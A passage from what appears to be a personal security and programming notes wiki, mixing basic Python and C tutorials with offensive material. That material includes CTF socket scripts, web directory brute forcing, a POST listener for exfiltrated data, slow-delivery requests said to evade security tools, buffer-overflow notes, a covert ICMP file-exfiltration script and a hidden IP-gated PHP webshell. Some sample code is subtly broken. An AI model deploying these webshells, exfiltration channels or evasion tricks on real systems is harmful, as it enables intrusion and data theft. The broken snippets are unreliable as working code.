        print(f'{roundtrip} for {username}')
```

### Connect to Raw Socket and Pass Data

This challenge required connecting to the socket and brute forcing the first byte back, I didn’t fully finish this challenge because it was a little frustrating. I need to spend more time on this script.

```python
import socket                                                       
                                                                    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)               
s.connect(('cfta-ne01.allyourbases.co',8017))                       
buf = s.recv(1024)                                                  
s.recv(1024)                                                        
conv = buf.decode('unicode-escape').encode('latin1').decode('UTF-8')
conv = conv + '\n'                                                  
print(conv)                                                         
s.sendall(bytes(conv, encoding='UTF-8'))                            
ans = s.recv(1024)                                                  
win = ans.decode('unicode-escape').encode('latin1').decode('UTF-8') 
print(win)                                                          
s.close() 
```

```python
import socket
import time

def connect():
    s.connect(('challenges.ctf.lol',3008))

def recv():
    recv = s.recv(1024)
    print(recv)

for i in range(ord('A'),ord('z')+1):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print(f'trying {chr(i)}')
    s.connect(('challenges.ctf.lol',30468))
    recv = s.recv(1024)
    print(recv)
    s.sendall(bytes(chr(i), encoding='utf8'))
    recv = s.recv(1024)
    print(recv)
    s.close()
```

### ROT13 Automatic Decoder

Written by Jess! Automatically finds the decoded input using the enchant library. Searches for legitimate words in the English dictionary, very cool!

```python
import enchant
d = enchant.Dict("en_US")

cipher=input("Enter Caesar Shift Cipher to Decode: ")
for n in range(26):
    decode=""
    wordfound=""
    for x in range(0,len(cipher)):
        if ord(cipher[x]) in range(97,123):
            decode+=(chr(((ord(cipher[x])-96+n)%26)+97))
        elif ord(cipher[x]) in range(65,91):
            decode+=(chr(((ord(cipher[x])-64+n)%26)+65))
        elif ord(cipher[x])==(32):
            checkword=d.check(decode)
            if checkword:
                wordfound=("Found!")
            decode+=cipher[x]
        else:
            decode+=cipher[x]
    check=d.check(decode)
    print((n+1),decode,wordfound)
```

### Choose Random Numbers

This program chooses some random integers and assigns them to a string. Nothing fancy.

```python
import random

series = random.randint(1,3)

book = random.randint(1,6)

page = random.randint(1,300)

print(f'Series {series}, Book {book}, Page {page}\n\n')
```

### List of all Characters from `aa` to `zz` :

Quick way to create a list of all possible lowercase values

```python
from string import ascii_lowercase
for a in ascii_lowercase:
    for b in ascii_lowercase:
        print(a+b)
```

Below is brute forcing all lowercase characters to find a hidden web dir

```python
import requests
from string import ascii_lowercase

url = 'http://m4lwhere.org/'

for a in ascii_lowercase:
    for b in ascii_lowercase:
        for c in ascii_lowercase:
            #print(a+b+c)
            fullUrl = url + a + b + c
            r = requests.get(fullUrl)
            if r.status_code != 404:
                print(f'Code {r.status_code} for {fullUrl}')
            else:
                pass
```

Same one, just with a progress bar!

```python
import requests
from progress.bar import Bar
from string import ascii_lowercase

url = 'http://m4lwhere.org/'

with Bar('Brute Forcing...', max=26*26*26-1) as bar:
    for a in ascii_lowercase:
        for b in ascii_lowercase:
            for c in ascii_lowercase:
                #print(a+b+c)
                fullUrl = url + a + b + c
                r = requests.get(fullUrl)
                if r.status_code != 404:
                    print(f'\nCode {r.status_code} for {fullUrl}')
                else:
                    bar.next()
                    pass
```

### Receive POST in Python

This uses to receive large items sent via POST

```python
PORT = 8000

from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, world!')
 
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        self.send_response(200)
        self.end_headers()
        decoded = body.decode('utf-8')
        print('[+] Received: ')
        print(decoded)
        f = open('/tmp/exfil.txt', 'w')
        f.write(decoded)
 
with HTTPServer(('localhost', PORT), SimpleHTTPRequestHandler) as httpd:
  print("[+] Running Server at", PORT, "Saving Files in /tmp/exfil.txt" )
  httpd.serve_forever()

#Run it:  python3 post.py
```

### Async HTTP Requests

These types of requests can try to time out various security tools by intentionally taking a very slow time to deliver a payload.

```python
import asyncio, urllib.parse, sys
from time import sleep


async def print_http_headers(url):
    # Get our URL parts together
    url = urllib.parse.urlsplit(url)

    # Determine if HTTPS or not
    if url.scheme == 'https':
        reader, writer = await asyncio.open_connection(
            url.hostname, 443, ssl=True)
    else:
        reader, writer = await asyncio.open_connection(
            url.hostname, 80)

    """
    # Below is for a GET request to prove our async pipeline works as intended
    # Commented out to send exploit
    #####
    query = [
        f"GET {url.path or '/'} HTTP/1.1\r\n",
        f"Host: {url.hostname}\r\n",
        f"\r\n"
        ]
    """

    # Our exploit, this payload is json
    payload = '{"username":"m4lwhere","password":"lmao"}'

    # Build the HTTP request
    query = [
        f"POST {url.path or '/'} HTTP/1.1\r\n",
        f"Host: {url.hostname}\r\n",
        f"Content-Length: {len(payload)}\r\n",
        f"Content-Type: application/json\r\n",
        f"\r\n"
        ]
    
    # Send the headers with only 1 second between each one
    for i in query:
        print(i) # Let us see what's being sent as it happens
        sleep(1)
        writer.write(i.encode('latin-1'))

    # Now time to send our exploit 
    print("sending payload...")

    # Split the payload into individual bytes instead of a whole string
    for i in payload:
        print(i)
        sleep(0.5) # Wait half a second before sending each byte
        writer.write(i.encode('latin-1')) # Send byte as its placed into writer

    # Now we wait for a response
    while True:
        line = await reader.readline()
        if not line:
            break

        line = line.decode('latin1').rstrip()
        if line:
            print(f'{line}')

    # close the socket
    writer.close()

# Pass the website in as an ARGV value
url = sys.argv[1]
asyncio.run(print_http_headers(url))
```


# PowerShell

See link in WIndows Exploits

{% content-ref url="/pages/-MUBkPPbqt62D6t3rAU9" %}
[Powershell](/offensive/microsoft-windows-exploits/powershell)
{% endcontent-ref %}


# Pwn

I placed pwn in with programming, because it relies heavily on programming concepts and knowledge

### ELF Analysis

Take a quick look at the file before jumping into analysis

```bash
readelf -h ./binary                # Analyze the ELF headers
readelf -sW ./binary | grep FUNC   # List all functions in binary
objdump -M intel -d ./binary | awk -v RS= '/^[[:xdigit:]]+ <main>/'    # Display disassembly for main() only
ltrace ./binary                    # Watch library calls as program executes
strings ./binary                   # The classic
printf $(python -c 'print("A"*15)') | ./int-overflow      # Easy way to change amount of bytes passed to program
echo -n -e ' \x41\x41\x41\x41\x41\x41\x42' > bytes        # Put bytes directly into a file
(cat ./exploit; cat) | ./program    # Pass the exploit to the program, leaves stdin open 
./checksec.sh ./program    # Runs the checksec.sh script to determine binary mitigations in place

# Use MSF to create the pattern and identify offsets
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 6641396541386541

# Similar to MSF, PEDA can support patterns too. Inside GDB
pattern_create 700
pattern_offset $ASCII_VALS

# Disable ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
# Check if ASLR is enabled or not
cat /proc/sys/kernel/randomize_va_space

# Compile a program to be vulnerable
gcc -no-pie -m32 -fno-stack-protector -z execstack binary.c -o binary

# Strip internal symbols from a program
strip binary

# GDB-PEDA check security of a binary
checksec
```

### GDB

Program used to help debug activities as they occur. Use `set disassembly-flavor intel` to get rid of nasty AT\&T syntax. Can analyze core dumps to help identify vulnerable locations in memory for binaries as well.

Generally, we want to ***set a break AFTER a vulnerable function*** to see what the stack looks like.

Change the libc used in GDB with the command

```c
# Execute inside GDB to get correct libc offsets
set exec-wrapper env 'LD_PRELOAD=/home/chris/libc.so.6'

# Execute outside of GDB with command:
LD_PRELOAD=./libc.so.6 | python -c 'print("1\n"+"A"*40)' | ./vuln_elf

# Find /bin/sh in memory while using GDB
find "/bin/sh"

# Find "system" function in memory (has to be started first to link libs)
p system

# View env vars at a break after starting execution
x/100s **(char***)&environ

# Start a program with values passed as input (not argv)
run < <(python -c 'print("A"*64 + "BBBB")')
```

| Command                                                                                                                      | Explanation                                                                                                                                                                                |
| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `disass main`                                                                                                                | disassemble the main function.                                                                                                                                                             |
| <p><code>break main</code></p><p><code>break \*main+53</code></p><p><code>break \*0x8040564</code></p>                       | Break on the `main()` function, or an offset, or a specific memory address. Specific addresses require a `*`                                                                               |
| `print $eip`                                                                                                                 | Print the contents of a register, variables, or even a memory address                                                                                                                      |
| <p><code>x/20i</code></p><p><code>x/5i \*0x8040564</code><br><code>x/20wx $esp</code></p><p><code>x/s \*0x8040564</code></p> | <p>Examine 20 Instructions from current EIP</p><p>Examine 5 instructions from a specific address<br>Examine 20 DWORDs from the stack pointer</p><p>Examine ASCII strings in an address</p> |
| <p><code>info</code></p><p><code>info registers</code></p><p><code>info function</code></p>                                  | <p>Lots of interesting info about the current program</p><p>Prints all register contents</p><p>Prints out all functions</p>                                                                |
| `list`                                                                                                                       | Show the source code (if available)                                                                                                                                                        |
| `continue`                                                                                                                   | Continues execution after a breakpoint is hit                                                                                                                                              |
| <p><code>si</code></p><p><code>ni</code></p>                                                                                 | <p>Step Instruction (into library calls!)</p><p>Next Instruction (skips library calls!)</p>                                                                                                |
| `bt`                                                                                                                         | Backtrace, shows return pointers on the stack. SUPER useful to identify the call chain to gather return pointers                                                                           |
| <p><code>info breakpoints</code></p><p><code>del breakpoints</code></p><p><code>del break 3</code></p>                       | <p>Show all breakpoints</p><p>Delete all breakpoints</p><p>Delete breakpoint 3</p>                                                                                                         |

```c
# Read the disassembly from main()
disas main

# Print the value of hexadecimal to ASCII
print (char []) 0x24424142

# Pass Args to a program when starting in GDB
run `python -c 'print("A"*50)'`

# Pass input to a program when starting in GDB
run < <(python -c 'print("A"*50)')

# Enable core dumps
ulimit -c unlimited
sudo chmod -s ./binary

# With core dumps enabled, crash the binary and load the dump
gdb --core=core
```

### Some Vulnerable Functions

If we find a program which calls some of these functions, we may be able to take control with a buffer overflow based attack.

`calloc, malloc, realloc, fscanf, gets, scanf, sprintf, sscanf, strcat, strcpy, strncat, strncmp, strncpy, memchr, memcmp, memcpy, memmove, memset, scanf, gets, fwscan, sscanf`

### Stripped Binaries

Stripped programs have their symbol tables removed, which makes identifying user created functions difficult to find compared with non-stripped binaries. If we search for functions, we will only see functions called in linked libraries.&#x20;

What we can do, is set a break on some of the functions that are called. Once that break is hit, we can inspect the `backtrace` with `bt` to identify where the return pointer will hit a call.

```bash
# Inspect in GDB for functions
i fun

# Set break on a linked function
break gets

# View backtrace on break to see where entry point into function
bt
```

### ret2libc

This is a technique where we use stack overflows to reach linked functions in libc and gain execution.&#x20;

We can find locations and offsets in linked libraries with this neat command below. Taken from <https://blog.artis3nal.com/2020-08-14-htb-october-msf/>

```bash
# strings to find offset for /bin/sh, this will be 0x00131a7a
strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
   131a7a /bin/sh 
```

### Stack Canaries

In the case of a terminator canary, keep in mind that many functions such as gets() will place a null byte at the end for us! If we overrun the buffer, we can strategically reconstruct a canary value.

### ASLR

ASLR makes exploitation more difficult, however there are some nifty tricks we can use to still get around it. Trampoline calls can be used to call the stack, we just need to search for opcodes which are either a `JMP ESP` or `CALL ESP`. By calling the stack pointer, we can execute our data on the stack (as long as DEP is not present!!).

PEDA makes this easy with the command `jmpcall esp`.

Additionally, we can check if the libraries loaded by a program are staticly loaded or not. This can be done using the `ldd` program.

### Pwntools

```python
>>> import pwn
>>> pwn.p64(0x7fffffffe380)
b'\x80\xe3\xff\xff\xff\x7f\x00\x00'
>>> pwn.p32(0x0804853b)
b';\x85\x04\x08'
```

### Create Shellcode

One of the easiest ways to create shellcode is using msfvenom. We can always list out the options with --list-options as a switch.


# Windows Pwn

Mona is used extensively in Windows pwn. It is a part of the Immunity Debugger

```python
!mona pattern_create 1000     # Generate a unique 1000 byte buffer
!mona pattern_offset 37694136    # Identify the offset of the buffer with EIP address
!mona modules -o     # This shows the modules used by the program, -o ignores OS modules
!mona jmp -r est -m Configuration.dll     # Select one of the DLLs not participating in ASLR to find static address

```


# Python

Get started, why wait for a compiler!!

{% content-ref url="/pages/-MUIs1xNgNCyDhG-eD2H" %}
[Basic Python](/programming/python/basic-python)
{% endcontent-ref %}

{% content-ref url="/pages/-MUIzyP5DXz6udqbegTk" %}
[Working with Files](/programming/python/working-with-files)
{% endcontent-ref %}

{% content-ref url="/pages/-MUJ-FbvZBO7BBCQaZlS" %}
[Networking](/programming/python/networking)
{% endcontent-ref %}

{% content-ref url="/pages/-MUJ-XhScBVwgMXsyeXP" %}
[Scapy](/programming/python/scapy)
{% endcontent-ref %}


# Basic Python

### Basic Components 🐍

Python follows basic order of operations when evaluating expressions, similar to PEMDAS for math.

| Operator | Operation                  | Example | Evaluates to |
| -------- | -------------------------- | ------- | ------------ |
| `**`     | Exponent                   | 2\*\*4  | 16           |
| `%`      | Modulus (remainder!)       | 5 % 2   | 1            |
| `//`     | Integer Division (floored) | 11 // 2 | 5            |
| `/`      | Division                   | 11 / 2  | 5.5          |
| `*`      | Multiplication             | 2 \* 3  | 6            |
| `-`      | Subtraction                | 3 - 2   | 1            |
| `+`      | Addition                   | 2 + 4   | 6            |

### Data Types and Classifications 👩‍🏫

Using a single equals `=` is an **assignment** operator, where it **assigns** a value to a variable.

Using double equals `==` is a **comparison** operator, where it **checks** two values!

### Flow Control 🌊🤽‍♀️

Tons of different ways to control execution of the program. Fundamental way in how programs work and look like magic ✨ Until you realize that whitespace is interpreted. Make sure you use four spaces instead of tabs, just as God intended.

```python
# if, elif, and else control!!
ayyy = 'lmao'

# if statements check if a statement is true
if ayyy == 'lmao':
    print('👽👽👽')

# elif statments help  determine one of many possible clauses
elif len(ayyy) == 4:
    print('😂😂😂😂')

# can have have several elif, but skips any remaining elif after first True
elif len(ayyy) != 4:
    print('🤔🤔🤔')

# else statements is executed ONLY if the preceeding if is False (NOT REQUIRED!)
else:
    print('❌👽❌')
```

There are `while` loops which will check for a condition and keep executing until completed. Using `break` will exit the while loop early! Similarly, `continue` statements will jump back to the beginning of a `while` loop and evaluate the loop's condition.

```python
# while loops will execute until a condition is met
count = 0

while count < 5:
    print('ayyy')
    count = count + 1
print('lmao')

name = ''
while name != 'your name':
    print('Please type your name')
    name = input()

# break statements exit the while loop's clause early, continue jump to start of while
name = ''
while True:
    print('Please type your name')
    name = input()
    if name != 'your name':
        continue
    print('What\'s the password?')
    pass = input()
    if pass = 'ayyylmao':
        break
print('Well done!')
```

Another loop is the `for` loop which can repeat an action a specific amount of times. When using `range` we can also specify start, stop, and steps.

```python
ayyy = 'lmao'

# Print the var ayyy five times
for i in range(5):
    print(ayyy)

# Print the value of i between two values
for i in range(12, 15):
    print(i)

# Similar, only with a step!
for i in range(0, 10, 2):
    print(i)
```

### Strings 🧵

We can take a string of any length and reference ANY part of it!&#x20;

```python
lmao = 'holy hell'

# Print first character of string lmao
print(lmao[0])

# Print last character of string lmao
print(lmao[-1])

# Print entire string backwards!
print(lmao[::-1])

# Split string on a delimeter, default is space
haha = lmao.split()
print(haha)

# Replace certain parts of a string
print(lmao.replace('h','')  # prints 'hoy he'
```

### Lists 📜📜

```python
ans = ['H', 'E', 'L', 'L', 'O']
print(''.join(ans))
# Will print HELLO
```

Comprehension

Search for a partial match in a list and add to another list. Super useful!

```python
origList = ['big','bad','bigly']
subStr = 'ig'
filterList = [string for string in origList if subStr in string]
```

Tuples

### Dictionaries 📚📚

Very similar to JSON. In fact, so close, it can be converted to JSON with minor worries!

```python
# Create the dict type
lmao = {'one':1,'two':2}

# Add a new key to the dictionary
lmao['three'] = 3

# Loop over each pair of keys and values to access
for i, k in enumerate(lmao):
    print(i, k)

# Will print:
# one 1
# two 2
# three 3

```

User Inputs

#### Loops

```python
from string import ascii_lowercase
for a in ascii_lowercase:
    for b in ascii_lowercase:
        print(a+b)
```

Arithmetic and Conditionals

Regex Matching

## Convert bytes to IPv4

```python
ipaddr = '.'.join(f'{c}' for c in line['ipAddress'])
```


# Modules

Datetime add number of seconds to a datetime object

```python
from datetime import timedelta

def add(moment):
    return moment + timedelta(seconds=1000000000)
    pass
```


# Working with Files

Opening a file with Python we need to close it as well.

```python
# Open a new file object for writing only
myfile = open("/tmp/newfile.txt", "w")

# Use the write method to add data to the file
myfile.write("Here is my message.\n")

# The "\n" must be added to separate lines on the file
myfile.write("Here is my second message.")

# We must close out the file object in order to properly close the object
myfile.close()
```

Instead, we can use a `with` codeblock which will automatically handle closing the file once we're done with it.

```python
with open("/tmp/newfile.txt", "r") as myfile:
    for line in myfile:
        print(line)

with open('/tmp/cars.txt', 'r') as cars:
    print(cars.read())
```

We can read all lines of a file into a list for easy use. We need to strip the newline as well.

```python
def fileList(file):
    with open(file) as f:
        lines = f.readlines()
        clean = [ line.strip() for line in lines ]
    return clean
```


# Networking

Collection of networking over sockets, using HTTP libraries, and networking

## Sockets

Basic network communication over raw sockets

```python
# Basic TCP connection to a server to send and receive data
import socket

clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('127.0.0.1', 9987))
clientsocket.send('hello'.encode())
data = clientsocket.recv(1024)
print(data)
```

## SSH Interaction

Paramiko is a useful library which can be used to log into a host over SSH and execute commands as though it were an interactive session.

```python
import paramiko

key = '/home/some/rsa/private/key'
hostname = '127.0.0.1'
user = 'm4lwhere'

k = paramiko.RSAKey.from_private_key_file(key)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=hostname, username=user, pkey=k)
stdin, stdout, stderr = client.exec_command('ls -l')
print(f'Received output:\n\n{stdout}')

# Don't forget to close out the object!
ssh.close()
```

### SFTP

Paramiko can additionally support SFTP natively with a `paramiko.SSHClient()` object which is super cool.

```python
import paramiko

key = '/home/some/rsa/private/key'
hostname = '127.0.0.1'
user = 'm4lwhere'

k = paramiko.RSAKey.from_private_key_file(key)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=hostname, username=user, pkey=k)

sftp = ssh.open_sftp()
srcFiles = sftp.listdir('/home/m4lwhere')

# Download each of the files in the srcFiles list
for i in srcFiles:
    download = f'/home/m4lwhere/{i}'
    sftp.get(download, '/opt/downloads')

# Upload a file from local machine to external one
sftp.put('/opt/upload.txt', '/home/m4lwhere/upload.txt')

ssh.close()
```


# Attack Related

## Generate an NTLM hash

```python
import hashlib,binascii
hash = hashlib.new('md4', "thisismyhashvalue".encode('utf-16le')).digest()
print binascii.hexlify(hash)
```


# Scapy

Scapy is so special it earns its own page

Send data over ICMP!

```python
from scapy.all import *
import time, random

# Read in the picture as a file
with open('./hahaha.jpg', 'rb') as manning:
    peyton = manning.read()

# Encode the file to hex (easier to send as hex)
peyton = peyton.hex()

# How long each payload should be
n = 32
# Split the encoded hex into a list of n-sized pieces
haha = [peyton[i:i+n] for i in range(0, len(peyton), n)]

# Loop to constantly send ICMP
while True:
    # Loop through entire list and send in order
    for i in range(len(haha)):
        # Re-encode payload as bytes for index
        payload = bytes.fromhex(haha[i])
        send(IP(dst="127.0.0.1")/ICMP(type=8)/payload)
        # Sleep for a bit to make it less consistent
        time.sleep(random.randint(1,15))
    # Sleep between each set
    time.sleep(random.randint(600,1500))
```


# Using Scapy

### Basics

*BEFORE WE CAN SEND PACKETS, WE MUST FIX IPTABLES! SCAPY BYPASSES THE NORMAL KERNEL PROCEDURES!*

Without this, we will NEVER see the responses from our packets we send!&#x20;

```bash
iptables –A OUTPUT –p tcp –tcp-flags RST RST –j DROP
```

There are several basics we can use to create layers in a packet for whatever we would like!

| Command   | Description                       |
| --------- | --------------------------------- |
| `ls()`    | list protocols or variable        |
| `lsc()`   | list supported commands           |
| `send()`  | send layer 3, match all responses |
| `sendp()` | send layer 2, no response         |
| `srp1()`  | send layer 2, match 1 response    |
| `srp()`   | send layer 2, match all responses |

```python
# send and receive [packet], define the return as ans and unans with “_”, print the summary
sr([packet]);
ans, unans = _
ans.summary()

# send a TCP snipe to end the connection, must hit the correct seq from the most recent ack in order to be accepted
send(IP(dst=”192.168.1.200”)/TCP(sport=45089, dport=999, flags=”RA”, seq=3689929657))

i = sniff(filter=”host 192.168.1.100 and icmp”, count=2)
i.summary()
```


# Reading PCAP

Scapy can read pcap files as well!

```python
packets=rdpcap("capture.pcap")

# Open wireshark directly from scapy
wireshark(packet[0])

```


# C

Still learning more about C

## Useful Functions

| Function                                    | Purpose                                                      |
| ------------------------------------------- | ------------------------------------------------------------ |
| `printf("there's %d apples", apple_count);` | Print a line to the output, takes standard string formatting |
| `count = atoi(argv[2]);`                    | Convert a `string` to an `int`, ASCII to Integer (atoi)      |
|                                             |                                                              |

## Memory Segments

### Text Segment

Also called *code segment*, all assembly for code is stored in this location. There is no write permission for this location, it does not store variables, and has a fixed length. Nothing should ever change in it, program will be killed if anything is changed in this section of memory.

### Data and BSS Segments

Data contains the initialized global and static variables, while BSS has the uninitialized counterparts. These segments are writable but are a fixed size.&#x20;

### Heap Segment

Memory location programmer can directly control. Can be allocated and used for any purpose, no fixed size and can grow or shrink as needed. Growth of the heap goes downward to higher memory addresses.

### Stack Segment

The stack is used to store local function variables and context during function calls. All of this information is stored on a *stack frame* to keep it in memory. First in Last out (FILO), imagine putting pancakes on a plate, you'll need to remove the pancakes in order to reach lower ones. Adding items to the stack is *pushing*, while removing items is *popping*. The *ESP (Extensible Stack Pointer)* is used to keep track of the addess of the end of the stack. The stack grows upward, towards lower memory addresses.&#x20;

The *EBP (Extensible Base Pointer)* contains the base address of the function's frame and is used to reference local function variables in the current stack frame. The *SFP (Saved Frame Pointer)* is used to restore *EBP* to its previous value and the *Return Address* is used to restore *EIP* to the next instruction found after the function call (where to return in the program after completing the current function).

Remember, the stack is FILO, so function calls place the parameters on the stack in reverse order. Take the code example below into account.

```c
int main() {
    test_function(1, 2, 3, 4);  // Order of parameters is reversed when placed on stack
}
```

![test\_function parameters are added in reverse due to FILO nature of stack](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MUBcWDIntFMCfIaMka5%2F-M_HOko4aLJe4V4RbaJL%2F-M_HQXhBsBsf_UlbhU7w%2Fimage.png?alt=media\&token=1ea38515-3ade-44f0-8356-503ab0ec8f8b)

## Code Examples

Examples of code used to identify and use for functionality

### Read Command Line Args

Simple program to read the amount of command line args given and prints each one to a newline

```c
#include <stdio.h>

int main(int arg_count, char *arg_list[]) {
        int i;
        printf("There were %d args given:\n", arg_count);
        for(i=0; i < arg_count; i++)
                printf("arg %d: %s\n", i, arg_list[i]);
}
```


# Code Examples

Example snippets and stuff

For loop

```c
for(int i = 1; i < 65; i++) {
    printf("Current count is: %d\nCurrent total is: %llu\n", i, total);
    total += square(i);
}
```

While loop

```c
```

Get number of digits in an int, then use the length to assign the memory for the char array

```c
//Identify the number of digits in a number
nDigits = floor(log10(abs(num))) + 1;
printf("Number of digits is %d\n\n",nDigits);
total = 0;
//assign an array based on the number of digits
char Digits[nDigits];
//assign number as string in char pointer
sprintf((char*)Digits,"%u",num);
```

Convert each digit in an int to a char array


# GDB

## Cheatsheet

| Command                                                                                      | Shortcut                                                   | Purpose                                                                                                                               |
| -------------------------------------------------------------------------------------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| `list main`                                                                                  | `li main`                                                  | Shows source code of `main` function (only if compiled with `gcc -g`)                                                                 |
| <p><code>break main</code></p><p><code>break 10</code></p>                                   | <p><code>br main</code></p><p><code>br 10</code></p>       | Sets a break point at the start of the `main` function, sets break point at line 10 of provided source code (if compiled with source) |
| <p><code>run</code></p><p><code>run haha</code></p>                                          | <p><code>r</code></p><p><code>r haha</code></p>            | Runs the program from the beginning. Adds `haha` as a cmd line arg.                                                                   |
| `continue`                                                                                   | `c`                                                        | Continues the program execution after hitting a breakpoint                                                                            |
| `next instruction`                                                                           | `n i`                                                      | Go to the next instruction and stop execution                                                                                         |
| `inspect registers`                                                                          | <p><code>i r</code></p><p><code>i r esp ebp eip</code></p> | Inspect registers at the current point in execution. Can specify individual or multiple registers as well to reduce output on screen. |
| `examine/5instructions $eip`                                                                 | `x/5i $eip`                                                | Examine the next 5 instructions of the EIP register.                                                                                  |
| `x/8xb $eip`                                                                                 |                                                            | Examine the next 8 hex bytes of the EIP register                                                                                      |
| <p><code>x/6cb 0x8048484</code></p><p><code>x/s 0x8048484</code></p>                         | inspect chars and strings                                  | <p>Inspect the next six bytes as char and print their values</p><p>Inspect the string stored at the memory location</p>               |
| <p><code>x/o</code></p><p><code>x/x</code></p><p><code>x/u</code></p><p><code>x/t</code></p> | <p></p><p></p>                                             | <p>Octal</p><p>hex</p><p>Unsigned base-10 int</p><p>binary</p>                                                                        |
|                                                                                              |                                                            |                                                                                                                                       |
|                                                                                              |                                                            |                                                                                                                                       |
|                                                                                              |                                                            |                                                                                                                                       |
|                                                                                              |                                                            |                                                                                                                                       |
|                                                                                              |                                                            |                                                                                                                                       |


# PHP

This creates a hidden webshell on a page which will only display if connecting from a previously defined IP.

```php
<?php
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
        echo 'you have a nice IP, have a cool secret!<br><br>';
        echo passthru($_GET['cmd']);
    } else {
        echo '';
    }
?>
```

### Inclusion

Adding the `include` or `require` allows the page to execute PHP code from other files. This can be used for a header or footer file.

```php
<?php

```

Adding a header to the page

```php
<?php
    header('Location: https://m4lwhere.org');
?>
```


